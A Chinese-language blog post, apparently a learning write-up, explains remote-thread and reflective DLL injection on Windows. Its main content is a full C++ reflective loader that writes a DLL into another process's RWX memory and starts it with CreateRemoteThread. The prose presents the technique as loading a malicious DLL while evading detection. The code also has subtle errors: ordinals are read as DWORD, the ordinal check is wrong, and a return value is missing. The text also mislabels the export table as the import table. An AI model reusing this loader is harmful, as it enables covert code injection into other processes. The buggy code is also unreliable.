远程线程注入

之前最普通的方法是创建远程线程注入DLL,具体流程是
注入器找到目标进程句柄,申请一段内存,写入DLL路径,然后创建远程线程,将LoadLibrary作为函数指针传入,把DLL路径作为参数进行执行,从而加载我们的恶意DLL

需要的WindowsAPI如下

1
2
3
4
5
6
7
8
//CreateToolhelp32Snapshot();//枚举进程,然后比较进程名pe.szExeFile和已知字符串获取句柄
OpenProcess();//通过pid获取句柄

VirtualAllocEx();//申请空间
WriteProcessMemory();//写入字符串
CreatRemoteThread();//创建线程

LoadLibrary();//装载DLL

反射型DLL注入

它和上面的注入方式不一样的地方在于我们不使用LoadLibrary函数去装载DLL,它没有向操作系统注册本身,从一定程度上规避了部分检测。

流程:

注入器找到目标进程句柄,申请一段内存写入DLL文件,DLL文件中有自展开代码,通过导出表找到自展开代码,注入器创建远程线程执行自展开代码。加载完毕,跳转到DLLmain执行逻辑。

细节

这里要注意一个地方:
如果现在本身空间展开,然后复制到目标进程,那么会导致基地址不对,进而导致重定位表修复失效,与此同时,修复的模块的导入表也对不上,所以需要在目标进程中修复。

但是如果执行了loadLibrary那就和普通的远程线程注入一样了,所以只能递归调用我们写的LoadLibrary?
有什么方法可以避免吗?基地址可以通过在目标进程分配好空间之后来固定在loader中的内存地址来实现,然后系统DLL的函数地址肯定是固定的,所以只要没有使用额外的DLL,也可以直接在主内存展开后再复制过去。

同时,在加载的时候,如果不是把展开写在DLL里面,就要在DLL里面写一个导出函数,用它去执行dllmain,否则createremotethread函数不支持多参数进程,不能直接调用。所以要写遍历导入表

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions; // RVA from base of image
DWORD AddressOfNames; // RVA from base of image
DWORD AddressOfNameOrdinals; // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

导入表结构,通过同时遍历AddressOfFunctions,AddressOfNames和AddressOfNameOrdinals查找对应偏移地址。其中函数名和序号数组是同步的,对应位置的函数名对应对应的序号。

需要的WindowsAPI如下

1
2
3
4
5
6
7
8
9
//CreateToolhelp32Snapshot();//枚举进程,然后比较进程名pe.szExeFile和已知字符串获取句柄
OpenProcess();//通过pid获取句柄

VirtualAllocEx();//申请空间
WriteProcessMemory();//写入内容
CreatRemoteThread();//创建线程

GetModuleHandle();//取模块句柄
GetProcAddress();//取函数地址

但是如果是在自己的进程先执行,然后复制到目标进程进行操作(只要不涉及导入其它库就可以)那么在目标进程中只有

1
2
3
4
5
OpenProcess();//通过pid获取句柄

VirtualAllocEx();//申请空间
WriteProcessMemory();//写入内容
CreatRemoteThread();//创建线程

实践

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//main.cpp
#include"ReflectLoader.h"
#include<iostream>

int main() {
const char* DLLpath = "C:\\Users\\a2879\\source\\repos\\DLLreflectLoader\\x64\\Debug\\messageboxDLL.dll";
DWORD dwPid = 0;
std::cin >> dwPid;



ReflectLoader myPE(dwPid, DLLpath);
//myPE.setflag(1);
myPE.run("getInMain");

return 0;
}


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
//ReflectLoader.h
#pragma once
#include<Windows.h>
#include<memory>
class ReflectLoader
{
private:
HANDLE hTargetProcess;
LPVOID remoteMem;
private:
const char* targetPath;
std::unique_ptr<BYTE[]> fileBase;


PIMAGE_DOS_HEADER dosHeader;
PIMAGE_NT_HEADERS ntHeader;
PIMAGE_FILE_HEADER fileHeader;
PIMAGE_OPTIONAL_HEADER optionalHeader;

size_t memSize;
size_t memHeaderSize;
size_t sectionAlignment;
DWORD64 imageBase;

BYTE flag = 0;

public:

ReflectLoader(DWORD dwPid, const char* dllPath) {
hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
fileBase = mapToMemory(dllPath);
loadPEstruct(fileBase.get());
remoteMem = VirtualAllocEx(hTargetProcess, NULL, memSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
}
bool run(const char* expFuncName) {
LPVOID memBase = VirtualAllocEx(GetCurrentProcess(), remoteMem, memSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!memBase) return false;

makeHeadandSectionMap(memBase, fileBase.get());
repareReloc(memBase);
repareIAT(memBase);
setImageBase(memBase);

size_t bytesWritten;

WriteProcessMemory(hTargetProcess, remoteMem, memBase, memSize, &bytesWritten);
if (bytesWritten != memSize) {
printf("写入目标进程失败\n");
return false;
}

LPVOID targetFunc = getExplor(memBase, expFuncName);
CreateRemoteThread(hTargetProcess,
NULL,
NULL,
(LPTHREAD_START_ROUTINE)targetFunc,
NULL,
NULL,
NULL);

}

private:
std::unique_ptr<BYTE[]> mapToMemory(const char* filePath) {
FILE* file;
errno_t err = fopen_s(&file, filePath, "rb");
if (err != 0) return nullptr;

fseek(file, 0, SEEK_END);
size_t fileSize = ftell(file);
fseek(file, 0, SEEK_SET);

std::unique_ptr<BYTE[]> fileData(new BYTE[fileSize]);
if (!fileData) return nullptr;

fread(fileData.get(), 1, fileSize, file);
fclose(file);
if (flag & 1)
printf("成功申请内存: 0x%llX\n", reinterpret_cast<DWORD64>(fileData.get()));
return fileData;
}

BOOL loadPEstruct(BYTE* rawdata) {
dosHeader = (PIMAGE_DOS_HEADER)rawdata;
ntHeader = (PIMAGE_NT_HEADERS)(rawdata + dosHeader->e_lfanew);
fileHeader = &(ntHeader->FileHeader);
optionalHeader = &(ntHeader->OptionalHeader);

imageBase = optionalHeader->ImageBase;
memSize = optionalHeader->SizeOfImage;
memHeaderSize = optionalHeader->SizeOfHeaders;
sectionAlignment = optionalHeader->SectionAlignment;

return TRUE;
}

BOOL makeHeadandSectionMap(LPVOID memBase, const BYTE* fileBase) {
if (flag & 1)
printf("--------开始映射节区--------\n");
RtlMoveMemory(memBase, fileBase, memHeaderSize);

PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(ntHeader);

for (int i = 0; i < fileHeader->NumberOfSections; i++) {
if (sectionHeader[i].VirtualAddress == 0 && sectionHeader[i].SizeOfRawData == 0) {
continue;
}
LPVOID srcMem = (LPVOID)(fileBase + sectionHeader[i].PointerToRawData);
LPVOID dstMem = (BYTE*)memBase + sectionHeader[i].VirtualAddress;
size_t sizeOfRawData = sectionHeader[i].SizeOfRawData;
RtlCopyMemory(dstMem, srcMem, sizeOfRawData);
if (flag & 1)
printf(" - 节区%d: %s, 映射到内存 0x%llX\n", i, sectionHeader[i].Name, reinterpret_cast<DWORD64>(dstMem));
}
if (flag & 1)
printf("--------映射节区结束--------\n");

return TRUE;
}

BOOL repareReloc(LPVOID memBase) {
if (flag & 1)
printf("------开始修复重定位表-------\n");
PIMAGE_BASE_RELOCATION relTable = (PIMAGE_BASE_RELOCATION)((BYTE*)memBase + optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
size_t delta = reinterpret_cast<DWORD64>(memBase) - optionalHeader->ImageBase;
if (relTable == nullptr || delta == 0) {
return TRUE;
}
int j = 0;
while (relTable->SizeOfBlock != 0 && relTable->VirtualAddress != 0) {
WORD* pRdata = (WORD*)((BYTE*)relTable + sizeof(IMAGE_BASE_RELOCATION));
size_t dataNum = (relTable->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
if (flag & 1)
printf(" - 表%d:\n", j);
for (size_t i = 0; i < dataNum; i++) {
DWORD type = pRdata[i] >> 12;
if (type == IMAGE_REL_BASED_DIR64) {
DWORD64* targetAddress = (DWORD64*)((BYTE*)memBase + relTable->VirtualAddress + (pRdata[i] & 0xFFF));
if (flag & 1)
printf(" - 对应地址: 0x%llX 数据: 0x%llX\n", reinterpret_cast<DWORD64>(targetAddress), *targetAddress);
*targetAddress += delta;
if (flag & 1)
printf(" -> 0x%llX delta: 0x%llX\n", *targetAddress, delta);
}
}
relTable = (PIMAGE_BASE_RELOCATION)((BYTE*)relTable + relTable->SizeOfBlock);
j++;
}
if (flag & 1)
printf("------修复重定位表结束-------\n");

return TRUE;
}

BOOL repareIAT(LPVOID memBase) {
if (flag & 1)
printf("--------开始修复IAT--------\n");
PIMAGE_IMPORT_DESCRIPTOR importDesc = (PIMAGE_IMPORT_DESCRIPTOR)((BYTE*)memBase + optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
while (importDesc->OriginalFirstThunk) {
char* Dllname = (char*)((BYTE*)memBase + importDesc->Name);
HMODULE hDll = GetModuleHandleA(Dllname);
if (!hDll) {
if (flag & 1)
printf(" - 加载DLL:%s\n", Dllname);
hDll = LoadLibraryA(Dllname);
if (!hDll) {
if (flag & 1)
printf(" - 加载DLL失败,导入函数终止\n");
return FALSE;
}
}
else {
if (flag & 1)
printf(" - DLL已存在:%s\n", Dllname);
}

PIMAGE_THUNK_DATA INT = (PIMAGE_THUNK_DATA)((BYTE*)memBase + importDesc->OriginalFirstThunk);
PIMAGE_THUNK_DATA IAT = (PIMAGE_THUNK_DATA)((BYTE*)memBase + importDesc->FirstThunk);

for (int i = 0; INT[i].u1.AddressOfData; i++) {
DWORD64 pFunc = NULL;
DWORD64 targetFunc = reinterpret_cast<DWORD64>((BYTE*)memBase + INT[i].u1.AddressOfData);
if (targetFunc & IMAGE_ORDINAL_FLAG) {
if (flag & 1)
printf(" - 以序号:%d 导入函数\n", IMAGE_ORDINAL(targetFunc));
pFunc = (DWORD64)GetProcAddress(hDll, MAKEINTRESOURCEA(IMAGE_ORDINAL(targetFunc)));
}
else {
if (flag & 1)
printf(" - 以名称:%s 导入函数\n", ((PIMAGE_IMPORT_BY_NAME)targetFunc)->Name);
pFunc = (DWORD64)GetProcAddress(hDll, ((PIMAGE_IMPORT_BY_NAME)targetFunc)->Name);
}
if (pFunc) {
IAT[i].u1.Function = pFunc;
if (flag & 1)
printf(" - 函数导入成功\n - 目的地址: 0x%llX\n", pFunc);
}
else {
if (flag & 1)
printf(" - 函数导入失败\n");
}
}
importDesc++;
}
if (flag & 1)
printf("--------修复IAT结束--------\n");
return TRUE;
}

BOOL setImageBase(LPVOID memBase) {
IMAGE_DOS_HEADER* dosHeader = (PIMAGE_DOS_HEADER)memBase;
IMAGE_NT_HEADERS* ntHeader = (PIMAGE_NT_HEADERS)((BYTE*)memBase + dosHeader->e_lfanew);
ntHeader->OptionalHeader.ImageBase = reinterpret_cast<DWORD64>(memBase);
if (flag & 1)
printf("--------修正镜像基地址成功--------\n");
return TRUE;
}

LPVOID getExplor(LPVOID memBase, const char* funcName) {
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)memBase + (optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress));
DWORD* addrOfNames = (DWORD*)((BYTE*)memBase + exp->AddressOfNames);
DWORD dwNumOfName = exp->NumberOfNames;
char* pFuncName;
DWORD* addrOfFunc = (DWORD*)((BYTE*)memBase + exp->AddressOfFunctions);
DWORD* addrOfNameofNameOrdinals = (DWORD*)((BYTE*)memBase + exp->AddressOfNameOrdinals);
LPVOID Func = NULL;
for (int i = 0; i < dwNumOfName; i++)
{
pFuncName = (char*)((BYTE*)memBase + addrOfNames[i]);
if (!lstrcmpA(pFuncName, funcName)) {
WORD hint = addrOfNameofNameOrdinals[i];
Func = (LPVOID)((BYTE*)memBase + addrOfFunc[hint]);
break;
}
}
if (Func == NULL) {
printf("查找导出函数失败\n");

}
return Func;
}
};